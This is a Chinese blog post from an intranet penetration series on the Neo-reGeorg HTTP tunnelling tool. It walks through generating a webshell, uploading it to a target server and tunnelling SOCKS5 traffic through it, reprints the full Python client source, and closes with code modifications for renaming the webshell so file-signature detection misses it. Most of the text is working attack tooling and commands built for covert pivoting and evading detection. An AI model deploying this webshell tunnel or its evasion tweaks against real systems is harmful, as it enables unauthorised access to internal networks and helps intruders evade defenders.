内网渗透系列:内网隧道之Neo-reGeorg

这篇具有很好参考价值的文章主要介绍了内网渗透系列:内网隧道之Neo-reGeorg。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

本文研究HTTP隧道的一个工具,Neo-reGeorg

github:https://github.com/L-codes/Neo-reGeorg

一、概述

1、简介

写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行

2、原理

socks代理数据是包裹在http协议里边
内网渗透系列:内网隧道之Neo-reGeorg

3、用法

  • 生成webshell

    python3 neoreg.py generate -k password
    
  • 上传生成的webshell

  • 连接webshell

    python3 neoreg.py -k password -u http://xx/tunnel.php
    

特殊用法

  • 伪装404

    python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
    
  • 如需 Authorization 认证和定制的 Header 或 Cookie

    $ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
    
  • 需要分散请求,可上传到多个路径上,如内存马

    python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
    
  • 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )

    python neoreg.py -k <you_password> -u <url> -t <ip:port>
    

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

开放web服务

2、建立隧道

生成webshell

python3 neoreg.py generate -k 123456

内网渗透系列:内网隧道之Neo-reGeorg
将tunnel.jsp改名为1.jsp
内网渗透系列:内网隧道之Neo-reGeorg
上传1.jsp,curl下确认

内网渗透系列:内网隧道之Neo-reGeorg
连接webshell

python3 neoreg.py -k 123456 -u http://192.168.10.129/1.jsp

内网渗透系列:内网隧道之Neo-reGeorg
然后就可以通过proxychains来利用socks代理了

三、探索

1、源码与分析

#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__  = 'L'
__version__ = '3.4.0'

import sys
import os
import re
import base64
import struct
import random
import hashlib
import logging
import argparse
import requests
import uuid
import codecs
from time import sleep, time, mktime
from datetime import datetime
from socket import *
from itertools import chain
from threading import Thread

requests.packages.urllib3.disable_warnings()

ROOT = os.path.dirname(os.path.realpath(__file__))

ispython3 = True if sys.version_info >= (3, 0) else False

# Constants
SOCKTIMEOUT       = 5
VER               = b"\x05"
METHOD            = b"\x00"
SUCCESS           = b"\x00"
REFUSED           = b"\x05"
#SOCKFAIL         = b"\x01"
#NETWORKFAIL      = b"\x02"
#HOSTFAIL         = b"\x04"
#TTLEXPIRED       = b"\x06"
#UNSUPPORTCMD     = b"\x07"
#ADDRTYPEUNSPPORT = b"\x08"
#UNASSIGNED       = b"\x09"

# Globals
READBUFSIZE   = 7
MAXTHERADS    = 1000
READINTERVAL  = 300
WRITEINTERVAL = 200
PHPTIMEOUT    = 0.5

# Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ  = "\033[1m"

BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)

# CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
LEVEL = [
    ('ERROR', logging.ERROR),
    ('WARNING', logging.WARNING),
    ('INFO', logging.INFO),
    ('DEBUG', logging.DEBUG),
]

COLORS = {
    'WARNING':  YELLOW,
    'INFO':     WHITE,
    'DEBUG':    BLUE,
    'CRITICAL': YELLOW,
    'ERROR':    RED,
    'RED':      RED,
    'GREEN':    GREEN,
    'YELLOW':   YELLOW,
    'BLUE':     BLUE,
    'MAGENTA':  MAGENTA,
    'CYAN':     CYAN,
    'WHITE':    WHITE,
}

# 消息的格式和颜色
def formatter_message(message, use_color=True):
    if use_color:
        message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
    else:
        message = message.replace("$RESET", "").replace("$BOLD", "")
    return message


class ColoredFormatter(logging.Formatter):
    def __init__(self, msg, use_color=True):
        logging.Formatter.__init__(self, msg)
        self.use_color = use_color

    def format(self, record):
        levelname = record.levelname
        if self.use_color and levelname in COLORS:
            levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
            record.levelname = levelname_color
        return logging.Formatter.format(self, record)


class ColoredLogger(logging.Logger):

    def __init__(self, name):
        use_color = not sys.platform.startswith('win')
        FORMAT = "[$BOLD%(levelname)-19s$RESET]  %(message)s"
        COLOR_FORMAT = formatter_message(FORMAT, use_color)
        logging.Logger.__init__(self, name, 'INFO')
        if (name == "transfer"):
            COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
        color_formatter = ColoredFormatter(COLOR_FORMAT, use_color)
        console = logging.StreamHandler()
        console.setFormatter(color_formatter)
        self.addHandler(console)


logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")


class SocksCmdNotImplemented(Exception):
    pass

# 给请求头提供随机键值
class Rand:
    def __init__(self, key):
        n = int(hashlib.sha512(key.encode()).hexdigest(), 16)
        self.k_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        self.v_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
        self.k_clen = len(self.k_clist)
        self.v_clen = len(self.v_clist)
        random.seed(n)

    def header_key(self):
        str_len = random.getrandbits(4) + 2 # len 2 to 17
        return ''.join([ self.k_clist[random.getrandbits(10) % self.k_clen] for _ in range(str_len) ]).capitalize()

    def header_value(self):
        str_len = random.getrandbits(6) + 2 # len 2 to 65
        return ''.join([ self.v_clist[random.getrandbits(10) % self.v_clen] for _ in range(str_len) ])

    def base64_chars(self, charslist):
        if sys.version_info >= (3, 2):
            newshuffle = random.shuffle
        else:
            try:
                xrange
            except NameError:
                xrange = range
            def newshuffle(x):
                def _randbelow(n):
                    getrandbits = random.getrandbits
                    k = n.bit_length()
                    r = getrandbits(k)
                    while r >= n:
                        r = getrandbits(k)
                    return r

                for i in xrange(len(x) - 1, 0, -1):
                    j = _randbelow(i+1)
                    x[i], x[j] = x[j], x[i]

        newshuffle(charslist)

# 核心部分
class session(Thread):
    def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget):
        Thread.__init__(self)
        self.pSocket = pSocket
        self.connectURLs = connectURLs
        self.redirectURLs = redirectURLs
        self.conn = conn
        self.connect_closed = False
        self.session_connected = False
        self.fwd_target = FwdTarget

    # webshell的连接url
    def url_sample(self):
        return random.choice(self.connectURLs)
    
    # 转发的url
    def redirect_url_sample(self):
        return random.choice(self.redirectURLs)

    # 更新请求头
    def headerupdate(self, headers):
        headers.update(HEADERS)
        if self.redirectURLs:
            headers[K['X-REDIRECTURL']] = self.redirect_url_sample()

    # 利用uuid生成随机字符串
    def session_mark(self):
        mark = base64.b64encode(uuid.uuid4().bytes)[0:-2]
        if ispython3:
            mark = mark.decode()
        mark = mark.replace('+', ' ').replace('/', '_')
        mark = re.sub('^[ _]| $', 'L', mark) # Invalid return character or leading space in header
        return mark

    # SOCKS5
    def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods = sock.recv(1)
        methods = sock.recv(ord(nmethods))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == b"\x02":                # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == b"\x01":      # IPv4
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = inet_ntoa(target)
        elif atyp == b"\x03":             # Hostname
            targetLen = ord(sock.recv(1)) # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            if LOCALDNS:
                try:
                    target = gethostbyname(target)
                except:
                    log.error("DNS resolution failed(%s)" % target.decode())
                    return False
            else:
                target = target.decode()
        elif atyp == b"\x04":    # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            target = inet_ntop(AF_INET6, target)

        if targetPort == None:
            return False

        targetPortNum = struct.unpack('>H', targetPort)[0]

        if cmd == b"\x02":   # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == b"\x03": # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == b"\x01": # CONNECT
            try:
                serverIp = inet_aton(target)
            except:
                # Forged temporary address 127.0.0.1
                serverIp = inet_aton('127.0.0.1')
            mark = self.setupRemoteSession(target, targetPortNum)
            if mark:
                sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort)
                return True
            else:
                sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort)
                return False

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

    # 检查是不是SOCKS5
    def handleSocks(self, sock):
        try:
            ver = sock.recv(1)
            if ver == b"\x05":
                res = self.parseSocks5(sock)
                if not res:
                    sock.close()
                return res
            elif ver == b'':
                log.warning("[SOCKS] Failed to get version")
            else:
                log.error("Only support Socks5 protocol")
                return False
        except OSError:
            return False
        except timeout:
            return False

    # 启动线程
    def handleFwd(self, sock):
        log.debug("Forward detected")
        host, port = self.fwd_target.split(':', 1)
        mark = self.setupRemoteSession(host, int(port))
        return bool(mark)

    # 错误信息
    def error_log(self, str_format, headers):
        if K['X-ERROR'] in headers:
            message = headers[K["X-ERROR"]]
            if message in rV:
                message = rV[message]
            log.error(str_format.format(repr(message)))

    # base64加密ip:port
    def encode_target(self, data):
        data = base64.b64encode(data)
        if ispython3:
            data = data.decode()
        return data.translate(EncodeMap)

    # base64加密信息
    def encode_body(self, data):
        data = base64.b64encode(data)
        if ispython3:
            data = data.decode()
        return data.translate(EncodeMap)

    # base64解密信息
    def decode_body(self, data):
        if ispython3:
            data = data.decode()
        return base64.b64decode(data.translate(DecodeMap))

    # SOCKS线程
    def setupRemoteSession(self, target, port):
        self.mark = self.session_mark()
        target_data = ("%s|%d" % (target, port)).encode()
        headers = {K["X-CMD"]: self.mark+V["CONNECT"], K["X-TARGET"]: self.encode_target(target_data)}
        self.headerupdate(headers)
        self.target = target
        self.port = port

        if '.php' in self.connectURLs[0]:
            try:
                response = self.conn.get(self.url_sample(), headers=headers, timeout=PHPTIMEOUT)
            except:
                log.info("[%s:%d] HTTP [200]: mark [%s]" % (self.target, self.port, self.mark))
                return self.mark
        else:
            response = self.conn.get(self.url_sample(), headers=headers)


        rep_headers = response.headers
        if K['X-STATUS'] in rep_headers:
            status = rep_headers[K["X-STATUS"]]
            if status == V["OK"]:
                log.info("[%s:%d] Session mark [%s]" % (self.target, self.port, self.mark))
                return self.mark
            else:
                self.error_log('[CONNECT] [%s:%d] ERROR: {}' % (self.target, self.port), rep_headers)
                return False
        else:
            log.critical('Bad KEY or non-neoreg server')
            return False

    # 结束SOCKS线程
    def closeRemoteSession(self):
        try:
            if not self.connect_closed:
                self.connect_closed = True
                try:
                    self.pSocket.close()
                    log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
                except:
                    if hasattr(self, 'target'):
                        log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))

                if hasattr(self, 'mark'):
                    headers = {K["X-CMD"]: self.mark+V["DISCONNECT"]}
                    self.headerupdate(headers)
                    response = self.conn.get(self.url_sample(), headers=headers)
                if not self.connect_closed:
                    if hasattr(self, 'target'):
                        log.info("[DISCONNECT] [%s:%d] Connection Terminated" % (self.target, self.port))
                    else:
                        log.error("[DISCONNECT] Can't find target")
        except requests.exceptions.ConnectionError as e:
            log.warning('[requests.exceptions.ConnectionError] {}'.format(e))

    # 读取数据
    def reader(self):
        try:
            headers = {K["X-CMD"]: self.mark+V["READ"]}
            self.headerupdate(headers)
            n = 0
            while True:
                try:
                    if self.connect_closed or self.pSocket.fileno() == -1:
                        break
                    response = self.conn.get(self.url_sample(), headers=headers)
                    rep_headers = response.headers
                    if K['X-STATUS'] in rep_headers:
                        status = rep_headers[K["X-STATUS"]]
                        if status == V["OK"]:
                            data = response.content
                            if len(data) == 0:
                                sleep(READINTERVAL)
                                continue
                            else:
                                data = self.decode_body(data)
                        else:
                            msg = "[READ] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])
                            self.error_log(msg, rep_headers)
                            break
                    else:
                        log.error("[READ] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))
                        break

                    if len(data) > 0:
                        n += 1
                        data_len = len(data)
                        transferLog.info("[%s:%d] [%s] (%d)<<<< [%d]" % (self.target, self.port, self.mark, n, data_len))
                        while data:
                            writed_size = self.pSocket.send(data)
                            data = data[writed_size:]
                        if data_len < 500:
                            sleep(READINTERVAL)

                except error: # python2 socket.send error
                    pass
                except requests.exceptions.ConnectionError as e:
                    log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
                except requests.exceptions.ChunkedEncodingError as e: # python2 requests error
                    log.warning('[requests.exceptions.ChunkedEncodingError] {}'.format(e))
                except Exception as ex:
                    raise ex
        finally:
            self.closeRemoteSession()

    # 写数据
    def writer(self):
        try:
            headers = {K["X-CMD"]: self.mark+V["FORWARD"], 'Content-type': 'application/octet-stream'}
            self.headerupdate(headers)
            n = 0
            while True:
                try:
                    raw_data = self.pSocket.recv(READBUFSIZE)
                    if not raw_data:
                        break
                    data = self.encode_body(raw_data)
                    response = self.conn.post(self.url_sample(), headers=headers, data=data)
                    rep_headers = response.headers
                    if K['X-STATUS'] in rep_headers:
                        status = rep_headers[K["X-STATUS"]]
                        if status != V["OK"]:
                            msg = "[FORWARD] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])
                            self.error_log(msg, rep_headers)
                            break
                    else:
                        log.error("[FORWARD] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))
                        break
                    n += 1
                    transferLog.info("[%s:%d] [%s] (%d)>>>> [%d]" % (self.target, self.port, self.mark, n, len(raw_data)))
                    if len(raw_data) < READBUFSIZE:
                        sleep(WRITEINTERVAL)
                except timeout:
                    continue
                except error:
                    break
                except OSError:
                    break
                except requests.exceptions.ConnectionError as e: # python2 socket.send error
                    log.error('[requests.exceptions.ConnectionError] {}'.format(e))
                    break
                except Exception as ex:
                    raise ex
                    break
        finally:
            self.closeRemoteSession()

    # 启动线程
    def run(self):
        try:
            if self.fwd_target:
                self.session_connected = self.handleFwd(self.pSocket)
            else:
                self.session_connected = self.handleSocks(self.pSocket)

            if self.session_connected:
                log.debug("Staring reader")
                r = Thread(target=self.reader)
                r.start()
                log.debug("Staring writer")
                w = Thread(target=self.writer)
                w.start()
                r.join()
                w.join()
        except SocksCmdNotImplemented as si:
            log.error('[SocksCmdNotImplemented] {}'.format(si))
        except requests.exceptions.ConnectionError as e:
            log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
        except Exception as e:
            log.error('[RUN] {}'.format(e))
            raise e
        finally:
            if self.session_connected:
                self.closeRemoteSession()

# 客户端连接webshell时的逻辑
def askGeorg(conn, connectURLs, redirectURLs):
    # only check first
    log.info("Checking if Georg is ready")
    headers = {}
    headers.update(HEADERS)

    if redirectURLs:
        headers[K['X-REDIRECTURL']] = redirectURLs[0]

    if INIT_COOKIE:
        headers['Cookie'] = INIT_COOKIE

    need_exit = False
    try:
        response = conn.get(connectURLs[0], headers=headers, timeout=10)
        if '.php' in connectURLs[0]:
            if 'Expires' in response.headers:
                expires = response.headers['Expires']
                try:
                    expires_date = datetime.strptime(expires, '%a, %d %b %Y %H:%M:%S %Z')
                    if mktime(expires_date.timetuple()) < time():
                        log.warning('Server Session expired')
                        if 'Set-Cookie' in response.headers:
                            cookie = ''
                            for k, v in response.cookies.items():
                                cookie += '{}={};'.format(k, v)
                            HEADERS.update({'Cookie' : cookie})
                            log.warning("Automatically append Cookies: {}".format(cookie))
                        else:
                            log.error('There is no valid cookie return')
                            need_exit = True
                except ValueError:
                    log.warning('Expires wrong format: {}'.format(expires))
    except:
        log.error("Georg is not ready, please check URL.")
        exit()

    if need_exit:
        exit()

    if redirectURLs and response.status_code >= 400:
        log.warning('Using redirection will affect performance when the response code >= 400')

    if BASICCHECKSTRING == response.content.strip():
        log.info("Georg says, 'All seems fine'")
        return True
    else:
        if args.skip:
            log.debug("Ignore detecting that Georg is ready")

        else:
            if K['X-ERROR'] in response.headers:
                message = response.headers[K["X-ERROR"]]
                if message in rV:
                    message = rV[message]
                log.error("Georg is not ready. Error message: %s" % message)
            else:
                log.warning('Expect Response: {}'.format(BASICCHECKSTRING[0:100]))
                log.warning('Real Response: {}'.format(response.content.strip()[0:100]))
                log.error("Georg is not ready, please check URL and KEY. rep: [{}] {}".format(response.status_code, response.reason))
                log.error("You can set the `--skip` parameter to ignore errors")
            exit()

# 随机useragent
def choice_useragent():
    user_agents = [
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3",
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16",
       "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36",
       "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36",
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11",
       "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0"
    ]
    return random.choice(user_agents)

# 读取webshell
def file_read(filename):
    try:
        with codecs.open(filename, encoding="utf-8") as f:
            return f.read()
    except:
        log.error("Failed to read file: %s" % filename)
        exit()

# 生成webshell
def file_write(filename, data):
    try:
        with open(filename, 'w') as f:
            f.write(data)
    except:
        log.error("Failed to write file: %s" % filename)
        exit()

banner = r"""

          "$$$$$$''  'M$  '$$$@m
        :$$$$$$$$$$$$$$''$$$$'
       '$'    'JZI'$$&  $$$$'
                 '$$$  '$$$$
                 $$$$  J$$$$'
                m$$$$  $$$$,
                $$$$@  '$$$$_          Neo-reGeorg
             '1t$$$$' '$$$$<
          '$$$$$$$$$$'  $$$$          version {}
               '@$$$$'  $$$$'
                '$$$$  '$$$@
             'z$$$$$$  @$$$
                r$$$   $$|
                '$$v c$$
               '$$v $$v$$$$$$$$$#
               $$x$$$$$$$$$twelve$$$@$'
             @$$$@L '    '<@$$$$$$$$`
           $$                 '$$$


    [ Github ] https://github.com/L-codes/neoreg
""".format(__version__)

use_examples = r"""
                [ Basic Use ]

   ./neoreg.py generate -k <you_password>
   ./neoreg.py -k <you_password> -u <server_url>

               [ Advanced Use ]

   ./neoreg.py generate -k <you_password> --file 404.html
   ./neoreg.py -k <you_password> -u <server_url> \
           --skip --proxy http://127.0.0.1:8080 -vv \
           -H 'Authorization: cm9vdDppcyB0d2VsdmU='

"""

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print(banner)
        print(use_examples)
        exit()
    elif len(sys.argv) > 1 and sys.argv[1] == 'generate':
        del sys.argv[1]
        parser = argparse.ArgumentParser(description='Generate neoreg webshell')
        parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key.")
        parser.add_argument("-o", "--outdir", metavar="DIR", help="Output directory.", default='neoreg_servers')
        parser.add_argument("-f", "--file", metavar="FILE", help="Camouflage html page file")
        parser.add_argument("-c", "--httpcode", metavar="CODE", help="Specify HTTP response code. When using -r, it is recommended to <400. (default: 200)", type=int, default=200)
        parser.add_argument("--read-buff", metavar="Bytes", help="Remote read buffer. (default: 513)", type=int, default=513)
        parser.add_argument("--max-read-size", metavar="KB", help="Remote max read size. (default: 512)", type=int, default=512)
        args = parser.parse_args()
    else:
        parser = argparse.ArgumentParser(description="Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k (debug_all|debug_base64|debug_headers_key|debug_headers_values)")
        parser.add_argument("-u", "--url", metavar="URI", required=True, help="The url containing the tunnel script", action='append')
        parser.add_argument("-r", "--redirect-url", metavar="URL", help="Intranet forwarding the designated server (only jsp(x))", action='append')
        parser.add_argument("-t", "--target", metavar="IP:PORT", help="Network forwarding Target, After setting this parameter, port forwarding will be enabled")
        parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key")
        parser.add_argument("-l", "--listen-on", metavar="IP", help="The default listening address.(default: 127.0.0.1)", default="127.0.0.1")
        parser.add_argument("-p", "--listen-port", metavar="PORT", help="The default listening port.(default: 1080)", type=int, default=1080)
        parser.add_argument("-s", "--skip", help="Skip usability testing", action='store_true')
        parser.add_argument("-H", "--header", metavar="LINE", help="Pass custom header LINE to server", action='append', default=[])
        parser.add_argument("-c", "--cookie", metavar="LINE", help="Custom init cookies")
        parser.add_argument("-x", "--proxy", metavar="LINE", help="Proto://host[:port]  Use proxy on given port", default=None)
        parser.add_argument("--php-connect-timeout", metavar="S", help="PHP connect timeout.(default: 0.5)", type=float, default=PHPTIMEOUT)
        parser.add_argument("--local-dns", help="Use local resolution DNS", action='store_true')
        parser.add_argument("--read-buff", metavar="KB", help="Local read buffer, max data to be sent per POST.(default: {}, max: 50)".format(READBUFSIZE), type=int, default=READBUFSIZE)
        parser.add_argument("--read-interval", metavar="MS", help="Read data interval in milliseconds.(default: {})".format(READINTERVAL), type=int, default=READINTERVAL)
        parser.add_argument("--write-interval", metavar="MS", help="Write data interval in milliseconds.(default: {})".format(WRITEINTERVAL), type=int, default=WRITEINTERVAL)
        parser.add_argument("--max-threads", metavar="N", help="Proxy max threads.(default: 1000)", type=int, default=MAXTHERADS)
        parser.add_argument("-v", help="Increase verbosity level (use -vv or more for greater effect)", action='count', default=0)
        args = parser.parse_args()

    rand = Rand(args.key)

    BASE64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    if args.key in ['debug_all', 'debug_base64']:
        M_BASE64CHARS = BASE64CHARS
    else:
        M_BASE64CHARS = list(BASE64CHARS)
        rand.base64_chars(M_BASE64CHARS)
        M_BASE64CHARS = ''.join(M_BASE64CHARS)

    if ispython3:
        maketrans = str.maketrans
    else:
        from string import maketrans

    EncodeMap = maketrans(BASE64CHARS, M_BASE64CHARS)
    DecodeMap = maketrans(M_BASE64CHARS, BASE64CHARS)

    BASICCHECKSTRING = ('<!-- ' + rand.header_value() + ' -->').encode()

    K = {}
    for name in ["X-STATUS", "X-ERROR", "X-CMD", "X-TARGET", "X-REDIRECTURL"]:
        if args.key in ['debug_all', 'debug_headers_key']:
            K[name] = name
        else:
            K[name] = rand.header_key()

    V = {}
    rV = {}
    for name in ["FAIL", "Failed creating socket", "Failed connecting to target", "OK", "Failed writing socket",
            "CONNECT", "DISCONNECT", "READ", "FORWARD", "Failed reading from socket", "No more running, close now",
            "POST request read filed", "Intranet forwarding failed"]:
        if args.key in ['debug_all', 'debug_headers_value']:
            V[name] = name
            rV[name] = name
        else:
            value = rand.header_value()
            V[name] = value
            rV[value] = name

    if 'url' in args:
        # neoreg connect
        if args.v > 2:
            args.v = 2

        LOCALDNS = args.local_dns

        LEVELNAME, LEVELLOG = LEVEL[args.v]
        log.setLevel(LEVELLOG)
        transferLog.setLevel(LEVELLOG)
        separation = "+" + "-" * 72 + "+"
        print(banner)
        print(separation)
        print("  Log Level set to [%s]" % LEVELNAME)

        USERAGENT = choice_useragent()
        PHPTIMEOUT = args.php_connect_timeout

        urls = args.url
        redirect_urls = []

        HEADERS = {}
        if args.redirect_url:
            for url in args.redirect_url:
                data = base64.b64encode(url.encode())
                if ispython3:
                    data = data.decode()
                redirect_urls.append( data.translate(EncodeMap) )

        for header in args.header:
            if ':' in header:
                key, value = header.split(':', 1)
                HEADERS[key.strip()] = value.strip()
            else:
                print("\nError parameter: -H %s" % header)
                exit()

        INIT_COOKIE = args.cookie
        PROXY = { 'http': args.proxy, 'https': args.proxy } if args.proxy else None

        if args.target:
            if not re.match(r'[^:]+:\d+', args.target):
                print("[!] Target parameter error: {}".format(args.target))
                exit()
            print("  Starting Forward [%s:%d] => [%s]" % (args.listen_on, args.listen_port, args.target))
        else:
            print("  Starting SOCKS5 server [%s:%d]" % (args.listen_on, args.listen_port))


        print("  Tunnel at:")
        for url in urls:
            print("    "+url)

        if args.proxy:
            print("  Client Proxy:\n    "+ args.proxy)

        if redirect_urls:
            print("  Redirect to:")
            for url in args.redirect_url:
                print("    "+url)

        print(separation)
        try:
            conn = requests.Session()
            conn.proxies = PROXY
            conn.verify = False
            conn.headers['Accept-Encoding'] = 'gzip, deflate'
            conn.headers['User-Agent'] = USERAGENT

            servSock_start = False
            askGeorg(conn, urls, redirect_urls)

            READBUFSIZE  = min(args.read_buff, 50) * 1024
            MAXTHERADS   = args.max_threads
            READINTERVAL = args.read_interval / 1000.0
            WRITEINTERVAL = args.write_interval / 1000.0

            try:
                servSock = socket(AF_INET, SOCK_STREAM)
                servSock_start = True
                servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
                servSock.bind((args.listen_on, args.listen_port))
                servSock.listen(MAXTHERADS)
            except Exception as e:
                log.error("[Server Listen] {}".format(e))
                exit()


            while True:
                try:
                    sock, addr_info = servSock.accept()
                    sock.settimeout(SOCKTIMEOUT)
                    log.debug("Incomming connection")
                    session(conn, sock, urls, redirect_urls, args.target).start()
                except KeyboardInterrupt as ex:
                    break
                except timeout:
                    log.warning("[Socks Connect Tiemout] {}".format(addr_info))
                    if sock:
                        sock.close()
                except OSError:
                    if sock:
                        sock.close()
                except error:
                    pass
                except Exception as e:
                    log.error(e)
                    raise e
        except requests.exceptions.ProxyError:
            log.error("Unable to connect proxy: %s" % args.proxy)
        except requests.exceptions.ConnectionError:
            log.error("Can not connect to the server")
        finally:
            if servSock_start:
                servSock.close()
    else:
        # neoreg server generate
        print(banner)
        READBUF = args.read_buff - (args.read_buff % 3)
        MAXREADSIZE = args.max_read_size * 1024
        outdir = args.outdir
        if not os.path.isdir(outdir):
            os.mkdir(outdir)
            print('    [+] Mkdir a directory: %s' % outdir)

        keyfile = os.path.join(outdir, 'key.txt')
        file_write(keyfile, args.key)

        M_BASE64ARRAY = []
        for i in range(128):
            if chr(i) in BASE64CHARS:
                num = M_BASE64CHARS.index(chr(i))
                M_BASE64ARRAY.append(num)
            else:
                M_BASE64ARRAY.append(-1)

        script_dir = os.path.join(ROOT, 'templates')
        print("    [+] Create neoreg server files:")

        if args.file:
            http_get_content = repr(file_read(args.file)).replace("\\'", "'").replace('"', '\\"')[1:-1]
            http_get_content, n = re.subn(r'\\[xX][a-fA-F0-9]{2}', '', http_get_content)
            if n > 0:
                print("    [*] %d invisible strings were deleted" % n)
        else:
            http_get_content = BASICCHECKSTRING.decode()

        for filename in os.listdir(script_dir):
            outfile = os.path.join(outdir, filename)
            filepath = os.path.join(script_dir, filename)
            if os.path.isfile(filepath) and filename.startswith('tunnel.'):
                text = file_read(filepath)
                text = text.replace(r"Georg says, 'All seems fine'", http_get_content)
                text = re.sub(r"BASE64 CHARSLIST", M_BASE64CHARS, text)

                # only jsp
                text = re.sub(r"BASE64 ARRAYLIST", ','.join(map(str, M_BASE64ARRAY)), text)

                text = re.sub(r"\bREADBUF\b", str(READBUF), text)
                text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text)

                for k, v in chain(K.items(), V.items()):
                    text = re.sub(r'\b%s\b' % k, v, text)

                text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text)

                file_write(outfile, text)
                print("       => %s/%s" % (outdir, os.path.basename(outfile)))

                # jsp/jspx trimDirectiveWhitespaces=true
                if filename.endswith(('.jsp', '.jspx')):
                    text = text.replace(' trimDirectiveWhitespaces="true"', '')
                    outfile = os.path.join(outdir, filename.replace('tunnel.', 'tunnel_compatibility.'))
                    file_write(outfile, text)
                    print("       => %s/%s" % (outdir, os.path.basename(outfile)))
        print('')

2、检测与绕过

(1)文件特征

webshell的hash和文件名(现在默认tunnel)还有代码特征等

绕过:进行针对性修改

-k:主要影响webshell文件中的随机字符串,主要位置在headers的键值。
-f:主要影响webshell文件最后位置,exit函数运行结束后打印的html代码。
-c:主要影响webshell文件设定的响应状态码。

再加个-n来修改文件名,代码里加入:

// 558行添加
parser.add_argument("-n", "--filename", metavar="FILENAME", help="webshell name", default="tunnel")
// 739行下面添加
            outfilename = filename.replace('tunnel.', args.filename + '.')
            outfile = os.path.join(outdir, outfilename)
// 770行改为入下
outfile = os.path.join(outdir, filename.replace('tunnel.', args.filename + '_compatibility.'))

(2)流量特征

由于都用了随机字符和base64编码,所以流量特征不是很明显,不过另一方面来讲,有些本身可读的,比如header就显眼了

